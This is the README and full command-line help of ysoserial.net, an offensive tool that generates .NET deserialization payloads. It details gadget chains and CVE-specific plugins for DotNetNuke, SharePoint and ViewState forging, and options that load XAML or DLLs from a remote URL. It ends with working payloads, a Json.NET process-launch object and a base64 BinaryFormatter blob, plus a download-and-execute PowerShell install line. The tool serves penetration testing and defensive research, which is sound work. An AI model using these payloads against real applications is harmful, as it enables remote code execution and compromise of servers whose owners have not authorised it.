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A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.
ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.
This project is inspired by Chris Frohoff's ysoserial project
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
This software is a personal project and not related with any companies, including Project owner and contributors employers.
In order to obtain the latest version, it is recommended to download it from the Actions page.
You can install the previous releases of YSoSerial.NET from the releases page
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')) choco install visualstudio2022community --yes choco install visualstudio2022-workload-nativedesktop --yes choco install choco install msbuild.communitytasks --yes choco install nuget.commandline --yes choco install git --yes git clone https://github.com/pwntester/ysoserial.net cd ysoserial.net nuget restore ysoserial.sln msbuild ysoserial.sln -p:Configuration=Release .\ysoserial\bin\Release\ysoserial.exe -h
$ ./ysoserial.exe --fullhelp
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
== GADGETS ==
(*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored]
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Not bridge but derived
Extra options:
--var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator
[default], 2 -> use
TextFormattingRunPropertiesMarshal
(*) ActivitySurrogateSelector [This gadget ignores the command parameter and executes the constructor of ExploitClass class]
Formatters: BinaryFormatter (2), LosFormatter, SoapFormatter
Labels: Not bridge or derived
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1 (default), 2 (shorter but may not
work between versions)
(*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.Windows.Forms.dll']
Formatters: BinaryFormatter (2), LosFormatter, SoapFormatter
Labels: Not bridge or derived
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1 (default), 2 (shorter but may not
work between versions)
(*) AxHostState
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) BaseActivationFactory [Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\PresentationFramework.dll available. Leads to remote DLL loading (native C/C++ DLL)]
Formatters: Json.NET
Labels: Not bridge or derived, .NET 5/6/7, Requires WPF enabled or PresentationFramework.dll
(*) ClaimsIdentity
Formatters: BinaryFormatter, LosFormatter, SoapFormatter
Labels: Bridge and derived, OnDeserialized
Supported formatter for the bridge: BinaryFormatter
(*) ClaimsPrincipal
Formatters: BinaryFormatter, LosFormatter, SoapFormatter
Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
Supported formatter for the bridge: BinaryFormatter
(*) DataSet
Formatters: BinaryFormatter, LosFormatter, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) DataSetOldBehaviour [This gadget targets an old behavior of DataSet which uses XML format]
Formatters: BinaryFormatter, LosFormatter
Labels: Bridge and derived
Supported formatter for the bridge: LosFormatter
Extra options:
--spoofedAssembly=VALUE
The assembly name you want to use in the
generated serialized object (example: 'mscorlib')
(*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.Windows.Forms.dll']
Formatters: BinaryFormatter, LosFormatter
Labels: Bridge and derived
Extra options:
--spoofedAssembly=VALUE
The assembly name you want to use in the
generated serialized object (example: 'mscorlib')
(*) DataSetTypeSpoof [A more advanced type spoofing that can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget]
Formatters: BinaryFormatter, LosFormatter, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) GenericPrincipal
Formatters: BinaryFormatter, LosFormatter
Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
Supported formatter for the bridge: BinaryFormatter
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1 (uses serialized ClaimsIdentities), 2
(uses serialized Claims)
(*) GetterCompilerResults [Remote DLL loading gadget for .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading for .NET Framework if System.CodeDom is available. DLL path delivered with -c argument]
Formatters: Json.NET
Labels: Chain of arbitrary getter call and not derived gadget, Remote DLL loading for .NET 5/6/7 with WPF Enabled, Local DLL loading for .NET Framework if System.CodeDom is available
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
getter-call gadget. Choices:
1 (default) - PropertyGrid getter-call gadget,
2 - ComboBox getter-call gadget (may load DLL
twice)
3 - ListBox getter-call gadget
4 - CheckedListBox getter-call gadget
(*) GetterSecurityException
Formatters: Json.NET
Labels: Chain of arbitrary getter call and derived gadget
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
getter-call gadget. Choices:
1 (default) - PropertyGrid getter-call gadget,
2 - ComboBox getter-call gadget (may execute
code twice)
3 - ListBox getter-call gadget
4 - CheckedListBox getter-call gadget
(*) GetterSettingsPropertyValue
Formatters: Json.NET, MessagePackTypeless, MessagePackTypelessLz4, Xaml
Labels: Chain of arbitrary getter call and derived gadget
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
getter-call gadget. Choices:
1 (default) - PropertyGrid getter-call gadget,
2 - ComboBox getter-call gadget (may execute
code twice)
3 - ListBox getter-call gadget
4 - CheckedListBox getter-call gadget
(*) ObjectDataProvider
Formatters: DataContractSerializer (2), FastJson, FsPickler, JavaScriptSerializer, Json.NET, MessagePackTypeless, MessagePackTypelessLz4, SharpSerializerBinary, SharpSerializerXml, Xaml (4), XmlSerializer (2), YamlDotNet < 5.0.0
Labels: Not bridge or derived
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1, 2, 3, ... based on formatter.
--xamlurl=VALUE This is to create a very short payload when
affected box can read the target XAML URL e.g.
"http://b8.ee/x" (can be a file path on a shared
drive or the local system). This is used by the
3rd XAML payload which is a ResourceDictionary
with the Source parameter. Command parameter
will be ignored. The shorter the better!
(*) ObjRef
Formatters: BinaryFormatter, LosFormatter, ObjectStateFormatter, SoapFormatter
Labels: Not bridge or derived
(*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)]
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Not bridge but derived
(*) ResourceSet
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
Labels: It relies on other gadgets and is not a real gadget on its own (not bridged or derived either)
Extra options:
--ig, --internalgadget=VALUE
The numerical internal gadget choice to use:
1=TypeConfuseDelegate,
2=TextFormattingRunProperties (default: 1
[TypeConfuseDelegate])
(*) RolePrincipal
Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) SessionSecurityToken
Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) SessionViewStateHistoryItem
Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: LosFormatter
(*) TextFormattingRunProperties [This normally generates the shortest payload]
Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Not bridge but derived
Extra options:
--xamlurl=VALUE This is to create a very short payload when
affected box can read the target XAML URL e.g.
"http://b8.ee/x" (can be a file path on a shared
drive or the local system). This is used by the
3rd XAML payload of ObjectDataProvider which is
a ResourceDictionary with the Source parameter.
Command parameter will be ignored. The shorter
the better!
--hasRootDCS To include a root element with the
DataContractSerializer payload.
(*) ToolboxItemContainer
Formatters: BinaryFormatter, LosFormatter, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) TypeConfuseDelegate
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
Labels: Not bridge or derived
(*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with Mono]
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
Labels: Not bridge or derived
(*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)]
Formatters: BinaryFormatter (3), DataContractSerializer (2), Json.NET (2), LosFormatter (3), NetDataContractSerializer (3), SoapFormatter (2)
Labels: Bridge and derived, Not in GAC
Supported formatter for the bridge: BinaryFormatter
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1, 2, or 3 based on formatter.
(*) WindowsIdentity
Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) WindowsPrincipal
Formatters: BinaryFormatter, DataContractJsonSerializer, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
(*) XamlAssemblyLoadFromFile [Loads assembly using XAML. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.Windows.Forms.dll']
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Not bridge but derived
Extra options:
--var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator
[default], 2 -> use
TextFormattingRunPropertiesMarshal
(*) XamlImageInfo [Gadget leads to XAML deserialization. Variant 1 (GAC) reads XAML from file (local path or UNC path can be given). Variant 2 (non-GAC) delivers XAML directly, but requires Microsoft.Web.Deployment.dll]
Formatters: Json.NET
Labels: Not bridge but derived, Variant 1 in GAC, Variant 2 not in GAC
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
Stream delivery class. Choices:
1 (default and GAC) - LazyFileStream for Stream
delivery, file path has to be provided for -c
argument (UNC or local)
2 (non-GAC, requires Microsoft.Web.Deploymen-
t.dll) - ReadOnlyStreamFromStrings for Stream
delivery, command to execute can be provided for
-c argument
== PLUGINS ==
(*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object)
Options:
-c, --command=VALUE the command to be executed.
-u, --url=VALUE the url passed to Activator.GetObject.
-s if TCPChannel security should be enabled.
(*) Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection)
Options:
-M, --mode=VALUE the payload mode: HttpStaticObjectsCollection or
SessionStateItemCollection. Default:
HttpStaticObjectsCollection
-o, --output=VALUE the output format (raw|base64).
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) ApplicationTrust (Generates XML payload for the ApplicationTrust class)
Options:
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) Clipboard (Generates payload for DataObject and copies it into the clipboard - ready to be pasted in affected apps)
Options:
-F, --format=VALUE the object format: Csv, DeviceIndependentBitmap,
DataInterchangeFormat, PenData, RiffAudio,
WindowsForms10PersistentObject, System.String,
SymbolicLink, TaggedImageFileFormat, WaveAudio.
Default: WindowsForms10PersistentObject (the
only one that works in Feb 2020 as a result of
an incomplete silent patch - will not be useful
to target text-based fields anymore)
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
Options:
-m, --mode=VALUE the payload mode: read_file, write_file,
run_command.
-c, --command=VALUE the command to be executed in run_command mode.
-u, --url=VALUE the url to fetch the file from in write_file
mode.
-f, --file=VALUE the file to read in read_file mode or the file
to write to in write_file_mode.
--minify Whether to minify the payloads where applicable
(experimental). Default: false
(*) GetterCallGadgets (Implements arbitrary getter call gadgets for .NET Framework and .NET 5/6/7 with WPF enabled, run with -l for more help)
Options:
-l prints list of implemented gadgets
-i, --inner=VALUE file containing inner-gadget
-g, --gadget=VALUE gadget to use
-m, --member=VALUE getter to call (required for some gadgets)
-t test gadget (execute)
--minify minify gadget
(*) MachineKeySessionSecurityTokenHandler (Generates XML payload for the MachineKeySessionSecurityTokenHandler class)
Options:
-c, --command=VALUE the command to be executed e.g. "cmd /c calc"
-t, --test In this scenario, the test mode should not be
applied, as the sink point relies on the web
environment. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
--vk, --validationkey=VALUE
Enter the validationKey from the web.config
--ek, --decryptionkey=VALUE
Enter the decryptionKey from the web.config
--va, --validationalg=VALUE
Enter the validation from the web.config.
Default: HMACSHA1. e.g:
HMACSHA1/HMACSHA256/HMACSHA384/HMACSHA512
--da, --decryptionalg=VALUE
Enter the decryption from the web.config.
Default: AES. e.g: AES/DES/3DES
(*) NetNonRceGadgets (Implements Non-RCE gadgets for .NET Framework)
Options:
-l prints list of implemented gadgets
-i, --input=VALUE input to the gadget
-g, --gadget=VALUE gadget to use
-f, --formatter=VALUE Formatter to use
-t test gadget (execute after generation)
--minify minify gadget
(*) Resx (Generates RESX and .RESOURCES files)
Options:
-M, --mode=VALUE the payload mode: indirect_resx_file,
CompiledDotResources (useful for CVE-2020-0932
for example), BinaryFormatter, SoapFormatter.
-c, --command=VALUE the command to be executed in BinaryFormatter
and CompiledDotResources. If this is provided
for SoapFormatter, it will be used as a file for
ActivitySurrogateSelectorFromFile
-g, --gadget=VALUE The gadget chain used for BinaryFormatter and
CompiledDotResources (default:
TextFormattingRunProperties).
-F, --file=VALUE UNC file path location: this is used in
indirect_resx_file mode.
--of, --outputfile=VALUE
a file path location for CompiledDotResources to
store the .resources file (default: payloa-
d.resources)
-t, --test Whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class)
Options:
-c, --command=VALUE the command to be executed e.g. "cmd /c calc"
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) SharePoint (Generates payloads for the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421)
Options:
--cve=VALUE the CVE reference: CVE-2020-1147 (result is safe
for a POST request), CVE-2019-0604, CVE-2018-8421
--useurl to use the XAML url rather than using the direct
command in CVE-2019-0604 and CVE-2018-8421
-g, --gadget=VALUE a gadget chain that supports LosFormatter for
CVE-2020-1147. Default: TypeConfuseDelegate
-c, --command=VALUE the command to be executed e.g. "cmd /c calc" or
the XAML url e.g. "http://b8.ee/x" to make the
payload shorter with the `--useurl` argument
(*) ThirdPartyGadgets (Implements gadgets for 3rd Party Libraries)
Options:
-l prints list of implemented gadgets
-i, --input=VALUE input to the gadget
-g, --gadget=VALUE gadget to use
-f, --formatter=VALUE formatter to use
-r removes version and pubkeytoken from types, it
may be useful when we do not know the version of
targeted library or require a short payload
-t test gadget (execute after generation)
--minify minify gadget
(*) TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method)
Options:
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) ViewState (Generates a ViewState using known MachineKey parameters)
Options:
--examples Show a few examples. Other parameters will be
ignored.
--dryrun Create a valid ViewState without using an
exploit payload. The gadget and command
parameters will be ignored.
-g, --gadget=VALUE A gadget chain that supports LosFormatter.
Default: ActivitySurrogateSelector.
-c, --command=VALUE The command suitable for the used gadget (will
be ignored for ActivitySurrogateSelector).
--rawcmd Command will be executed as is without `cmd /c `
being appended (anything after the first space
is an argument).
-s, --stdin The command to be executed will be read from
standard input.
--usp, --unsignedpayload=VALUE
The unsigned LosFormatter payload (base64
encoded). The gadget and command parameters will
be ignored.
--isfileusp Indicates that the unsigned payload contains a
file name (e.g., payload.txt).
--vsg, --generator=VALUE
The __VIEWSTATEGENERATOR value in HEX, useful
for .NET <= 4.0. When not empty, 'legacy' will
be used and 'path' and 'apppath' will be ignored.
--path=VALUE The target web page. Example: /app/folder1/pag-
e.aspx.
--pathisclass Indicates that the path is a class name and
should not be modified.
--apppath=VALUE The application path. Needed to simulate
TemplateSourceDirectory.
--islegacy Use the legacy algorithm suitable for .NET 4.0
and below.
--isencrypted Use when the legacy algorithm is used to bypass
WAFs.
--vsuk, --viewstateuserkey=VALUE
Sets the ViewStateUserKey parameter, sometimes
used as the anti-CSRF token.
--da, --decryptionalg=VALUE
The encryption algorithm can be set to DES, 3DE-
S, or AES. Default: AES.
--dk, --decryptionkey=VALUE
The decryptionKey attribute from machineKey in
the web.config file.
--va, --validationalg=VALUE
The validation algorithm can be set to SHA1,
HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES,
or AES. Default: HMACSHA256.
--vk, --validationkey=VALUE
The validationKey attribute from machineKey in
the web.config file.
--showraw Stop URL-encoding the result. Default: false.
--minify Minify the payloads where applicable
(experimental). Default: false.
--ust, --usesimpletype Remove additional info only when minifying and
FormatterAssemblyStyle=Simple. Default: true.
--isdebug Show useful debugging messages.
Note: Machine authentication code (MAC) key modifier is not being used for LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads.
Usage: ysoserial.exe [options]
Options:
-p, --plugin=VALUE The plugin to be used.
-o, --output=VALUE The output format (raw|base64|raw-
urlencode|base64-urlencode|hex).
-g, --gadget=VALUE The gadget chain.
-f, --formatter=VALUE The formatter.
-c, --command=VALUE The command to be executed.
--rawcmd Command will be executed as is without `cmd /c `
being appended (anything after first space is an
argument).
-s, --stdin The command to be executed will be read from
standard input.
--bgc, --bridgedgadgetchains=VALUE
Chain of bridged gadgets separated by comma (,).
Each gadget will be used to complete the next
bridge gadget. The last one will be used in the
requested gadget. This will be ignored when
using the searchformatter argument.
-t, --test Whether to run payload locally. Default: false
--outputpath=VALUE The output file path. It will be ignored if
empty.
--minify Whether to minify the payloads where applicable.
Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple
(always `true` with `--minify` for binary
formatters). Default: true
--raf, --runallformatters
Whether to run all the gadgets with the provided
formatter (ignores gadget name, output format,
and the test flag arguments). This will search
in formatters and also show the displayed
payload length. Default: false
--sf, --searchformatter=VALUE
Search in all formatters to show relevant
gadgets and their formatters (other parameters
will be ignored).
--debugmode Enable debugging to show exception errors and
output length
-h, --help Shows this message and exit.
--fullhelp Shows this message + extra options for gadgets
and plugins and exit.
--credit Shows the credit/history of gadgets and plugins
(other parameters will be ignored).
--runmytest Runs that `Start` method of `TestingArenaHome` -
useful for testing and debugging.
Note: When specifying complex commands, it can be tedious to escape some special character (;, |, &, ..). Use stdin option (-s) to read the command from stdin:
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
Note: XmlSerializer and DataContractSerializer formatters generate a wrapper Xml format including the expected type on the "type" attribute of the root node, as used, for example, in DotNetNuke. You may need to modify the generated xml based on how XmlSerializer gets the expected type in your case.
Ysoserial.Net can be used to generate raw payloads or more complex ones using a plugin architecture. To use plugins, use -p <plugin name> followed by the plugin options (the rest of ysoserial.net options will be ignored). Eg:
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
For more help on plugin options use -h along with -p <plugin name>. Eg:
$ ./ysoserial.exe -h -p DotNetNuke
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
Plugin:
DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
Options:
-m, --mode=VALUE the payload mode: read_file, write_file, run_command.
-c, --command=VALUE the command to be executed in run_command mode.
-u, --url=VALUE the url to fetch the file from in write_file mode.
-f, --file=VALUE the file to read in read_file mode or the file to write to in write_file_mode.
--minify Whether to minify the payloads where applicable (experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/ccalc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAJVN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNPYmplY3QBAAAABkNsaVhtbAECAAAABgMAAACJFQ0KPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4mI3hEOw0KPE9iaiBSZWZJZD0iMCI+JiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uL1J1bnNwYWNlSW52b2tlNTwvVD4mI3hEOw0KICAgICAgPFQ+TWljcm9zb2Z0Lk1hbmFnZW1lbnQuSW5mcmFzdHJ1Y3R1cmUuQ2ltSW5zdGFuY2UjUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZTwvVD4mI3hEOw0KICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgIDwvVE4+JiN4RDsNCiAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgIDxPYmogUmVmSWQ9IjEiPiYjeEQ7DQogICAgICA8VE5SZWYgUmVmSWQ9IjAiIC8+JiN4RDsNCiAgICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgICA8UHJvcHM+JiN4RDsNCiAgICAgICAgPE5pbCBOPSJQU0NvbXB1dGVyTmFtZSIgLz4mI3hEOw0KCQk8T2JqIE49InRlc3QxIiBSZWZJZCA9IjIwIiA+ICYjeEQ7DQogICAgICAgICAgPFROIFJlZklkPSIxIiA+ICYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcltdLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9UPiYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uQXJyYXk8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPFMgTj0iSGFzaCIgPiAgDQoJCSZsdDtSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSImZ3Q7DQoJICZsdDtPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgJmd0Ow0KICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnMmZ3Q7DQogICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0O2NtZCZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgJmx0O1N5c3RlbTpTdHJpbmcmZ3Q7L2MgImNhbGMiICZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAmbHQ7L09iamVjdERhdGFQcm92aWRlciZndDsNCiZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KCQkJPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4mI3hEOw0KICAgICAgICA8T2JqIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIj4gJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiID4gJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3Q8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPE9iaiBSZWZJZD0iMyI+ICYjeEQ7DQogICAgICAgICAgICAgIDxNUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49IkNsYXNzTmFtZSI+UnVuc3BhY2VJbnZva2U1PC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPFMgTj0iTmFtZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPE5pbCBOPSJTZXJ2ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgPEkzMiBOPSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik1pWG1sIj4gJmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSIgJmd0OyZsdDtQUk9QRVJUWSBOQU1FPSJ0ZXN0MSIgVFlQRSA9InN0cmluZyIgJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs=
$ ./ysoserial.exe -p DotNetNuke -m run_command -c calc.exe
